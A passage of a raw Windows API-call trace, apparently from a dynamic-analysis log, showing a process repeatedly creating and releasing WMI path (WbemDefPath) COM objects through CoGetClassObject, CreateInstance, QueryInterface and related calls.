dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.992] WbemDefPath:IUnknown:Release (This=0x5c4f418) returned 0x3 [0126.992] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0126.992] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0126.992] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b828, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0126.992] WbemDefPath:IUnknown:Release (This=0x37b828) returned 0x2 [0126.992] WbemDefPath:IUnknown:Release (This=0x37b828) returned 0x1 [0126.992] SetEvent (hEvent=0x4e8) returned 1 [0126.994] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c4f3f8) returned 0x0 [0126.994] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c4f3f8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0126.994] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c4f3f8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x37b898) returned 0x0 [0126.994] WbemDefPath:IUnknown:Release (This=0x5c4f3f8) returned 0x0 [0126.994] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b898, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x37b898) returned 0x0 [0126.994] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b898, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0126.994] WbemDefPath:IUnknown:AddRef (This=0x37b898) returned 0x3 [0126.994] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b898, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0126.994] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b898, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0126.995] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b898, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c4f428) returned 0x0 [0126.995] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c4f428, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.995] WbemDefPath:IUnknown:Release (This=0x5c4f428) returned 0x3 [0126.995] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0126.995] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0126.995] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b898, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0126.995] WbemDefPath:IUnknown:Release (This=0x37b898) returned 0x2 [0126.995] WbemDefPath:IUnknown:Release (This=0x37b898) returned 0x1 [0126.995] SetEvent (hEvent=0x4ec) returned 1 [0126.998] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c4f488) returned 0x0 [0126.998] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c4f488, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0126.998] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c4f488, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x37b908) returned 0x0 [0126.998] WbemDefPath:IUnknown:Release (This=0x5c4f488) returned 0x0 [0126.998] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b908, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x37b908) returned 0x0 [0126.998] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b908, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0126.998] WbemDefPath:IUnknown:AddRef (This=0x37b908) returned 0x3 [0126.998] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b908, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0126.998] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b908, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0126.999] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b908, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c4f498) returned 0x0 [0126.999] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c4f498, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.999] WbemDefPath:IUnknown:Release (This=0x5c4f498) returned 0x3 [0126.999] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0126.999] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0126.999] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b908, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0126.999] WbemDefPath:IUnknown:Release (This=0x37b908) returned 0x2 [0126.999] WbemDefPath:IUnknown:Release (This=0x37b908) returned 0x1 [0126.999] SetEvent (hEvent=0x4f0) returned 1 [0127.069] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c4f4b8) returned 0x0 [0127.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c4f4b8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0127.070] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c4f4b8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x37b978) returned 0x0 [0127.070] WbemDefPath:IUnknown:Release (This=0x5c4f4b8) returned 0x0 [0127.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b978, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x37b978) returned 0x0 [0127.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b978, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0127.070] WbemDefPath:IUnknown:AddRef (This=0x37b978) returned 0x3 [0127.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b978, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0127.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b978, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0127.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b978, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c4f4c8) returned 0x0 [0127.070] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c4f4c8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.070] WbemDefPath:IUnknown:Release (This=0x5c4f4c8) returned 0x3 [0127.070] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0127.071] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0127.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b978, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0127.071] WbemDefPath:IUnknown:Release (This=0x37b978) returned 0x2 [0127.071] WbemDefPath:IUnknown:Release (This=0x37b978) returned 0x1 [0127.071] SetEvent (hEvent=0x4f4) returned 1 [0127.077] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c685e8) returned 0x0 [0127.077] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c685e8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0127.077] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c685e8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x37ba58) returned 0x0 [0127.077] WbemDefPath:IUnknown:Release (This=0x5c685e8) returned 0x0 [0127.077] WbemDefPath:IUnknown:QueryInterface (in: This=0x37ba58, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x37ba58) returned 0x0 [0127.077] WbemDefPath:IUnknown:QueryInterface (in: This=0x37ba58, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0127.077] WbemDefPath:IUnknown:AddRef (This=0x37ba58) returned 0x3 [0127.077] WbemDefPath:IUnknown:QueryInterface (in: This=0x37ba58, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0127.077] WbemDefPath:IUnknown:QueryInterface (in: This=0x37ba58, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0127.077] WbemDefPath:IUnknown:QueryInterface (in: This=0x37ba58, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c685f8) returned 0x0 [0127.077] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c685f8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.077] WbemDefPath:IUnknown:Release (This=0x5c685f8) returned 0x3 [0127.078] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0127.078] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0127.078] WbemDefPath:IUnknown:QueryInterface (in: This=0x37ba58, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0127.078] WbemDefPath:IUnknown:Release (This=0x37ba58) returned 0x2 [0127.078] WbemDefPath:IUnknown:Release (This=0x37ba58) returned 0x1 [0127.078] SetEvent (hEvent=0x4f8) returned 1 [0127.082] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c685e8) returned 0x0 [0127.082] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c685e8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0127.082] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c685e8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x37bac8) returned 0x0 [0127.083] WbemDefPath:IUnknown:Release (This=0x5c685e8) returned 0x0 [0127.083] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bac8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x37bac8) returned 0x0 [0127.083] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bac8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0127.083] WbemDefPath:IUnknown:AddRef (This=0x37bac8) returned 0x3 [0127.083] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bac8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0127.083] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bac8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0127.083] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bac8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c68608) returned 0x0 [0127.083] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c68608, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.083] WbemDefPath:IUnknown:Release (This=0x5c68608) returned 0x3 [0127.083] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0127.083] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0127.083] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bac8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ea7c | out: ppvObject=0x5b6ea7c*=0x0) returned 0x80004002 [0127.083] WbemDefPath:IUnknown:Release (This=0x37bac8) returned 0x2 [0127.083] WbemDefPath:IUnknown:Release (This=0x37bac8) returned 0x1 [0127.083] SetEvent (hEvent=0x4fc) returned 1 [0127.088] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c685e8) returned 0x0 [0127.089] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c685e8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0127.089] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c685e8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x37bb38) returned 0x0 [0127.089] WbemDefPath:IUnknown:Release (This=0x5c685e8) returned 0x0 [0127.089] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bb38, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x37bb38) returned 0x0 [0127.089] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bb38, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0127.089] WbemDefPath:IUnknown:AddRef (This=0x37bb38) returned 0x3 [0127.089] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bb38, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0127.089] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bb38, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0127.089] 